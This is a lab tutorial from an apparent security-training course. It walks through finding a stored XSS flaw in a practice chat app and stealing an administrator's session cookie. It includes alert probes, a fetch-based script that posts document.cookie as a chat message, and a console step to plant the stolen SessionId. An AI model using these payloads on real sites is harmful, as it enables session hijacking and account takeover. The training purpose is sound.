Stored XSS and stealing session cookies

In this module, we exploit the XSS vulnerability in the exercise target, so you can start the task below and repeat the steps at your own pace. The task uses the BurpSuite tool.

XSS vulnerabilities can be found practically anywhere, where the application allows the user to input something that the application will return back to the browser at some point. The first step in searching for such vulnerability is to send an input to the application and search the HTML code for a place where the input is reflected.

Let's start by sending a message to the chat and finding it in the HTML response.

You can, for example, use the search field provided by BurpSuite when searching for your message from the HTML code.

Next, HTML-formatted input will be sent to the application. If the application is not vulnerable, it will convert HTML characters such as < and > into a secure format &lt; and &gt;. However, if the application is vulnerable, the characters will remain as is in the HTML response, giving you the opportunity to make arbitrary modifications to the application's HTML code.

In the image below, we enter <b>hello</b> and find that the application is vulnerable. Note that the input is URL-encoded.

This allows us to conclude that this website is vulnerable. Next, we will attempt to exploit this vulnerability and steal the main user's session cookies.

Adding JavaScript code to the page

First, let's ensure that we can input JavaScript code into the page using the traditional <script> element. For example, in security audits, a common Proof of Concept (PoC) is to display a JavaScript alert as follows:

<script>alert(1)</script>

When you see the alert box on the page, you have verified the vulnerability as well as your ability to use JavaScript code in an attack. Next, let's see how the vulnerability can be exploited.

Reading Session Token

If the application uses cookies to manage sessions and has not protected the cookie with the HttpOnly directive (which prevents JavaScript code from accessing the cookie), the session ID can be read through the document.cookie property as follows:

<script>alert(document.cookie)</script>

Try it! Do you see your own session ID in the pop-up?

Stealing System Administrator Session Identifiers

Next, we will steal the administrator's session token by sending JavaScript code to the application that leaks session tokens through the chat function. When the administrator sees the message, our JavaScript code is executed and the tokens are automatically sent to us.

We carry out the attack in the following steps:

• We send a message to the application and analyze the resulting HTTP message.
• We are writing JavaScript code that sends a message automatically and will test it first against ourselves using browser developer tools.
• We inject the same code into the page by exploiting an XSS vulnerability and wait for the administrator to visit the page.
• We read the administrator session cookie from a forced message, set the cookie for ourselves, and confirm the success of the attack.

Step 1: Message Analysis

Sending a new message and checking the inquiry from BurpSuite HTTP history. We will be noting the following things.

• HTTP method: POST
• Request path: /
• HTTP body parameters: message
  

Below is the structure of the HTTP request triggered by the new message.

POST / HTTP/1.1
Host: www-yv2kdqpzkf.ha-target.com
...

message=moi

HTTP/1.1 200 OK
...

Step 2: Writing the JavaScript code used in the attack

Next, we want to write a JavaScript code that performs a similar HTTP request as what we analyzed earlier. The JavaScript language has multiple different ways to execute an HTTP request, but in this example, we use the fetch function.

JavaScript code that sends cookies through the chat function, as a new message.

var fdata=new FormData();
fdata.append("message", document.cookie);
fetch("/", {method: 'POST', body: fdata});

The above code works as follows:

• On the first line, we create a new FormData object and save it in a variable called fdata. Here, we add our HTTP request parameters, which is message.
• On the second line, we add the HTTP body parameter message and set its value as document.cookie, which contains the user's cookies.
• On the third line, we call the fetch function and give it first the path, which is /, then the method, which is POST, and finally the HTTP body, which is already prepared in the fdata variable.

Let's try to execute the code with browser development tools. Make sure it works:

• Checking the BurpSuite HTTP history to verify that the message originates.
• Updating the page and ensuring that session identifiers are sent as new messages to the website.

Step 3: Attack

Next, we will execute an attack. We insert the attack code into a script tag and send it to the page with a message.

<script>var fdata=new FormData();fdata.append("message", document.cookie);fetch("/", {method: 'POST', body: fdata});</script>

We expect the administrator to revisit the page, at which point the administrator should send their session identifier via message

Note that you are also sending your own session identifiers every time you reload the page, because you are exposed to attacks just like the system administrator.

Step 4: Adding the stolen session token to your own browser

We open a new incognito window and add an administrator cookie to the browser. The easiest way to do this is to open the JavaScript console and set the administrator cookie yourself.

document.cookie = "SessionId=.eJ...";

Finally, we update the page and verify that we are logged in as an administrator.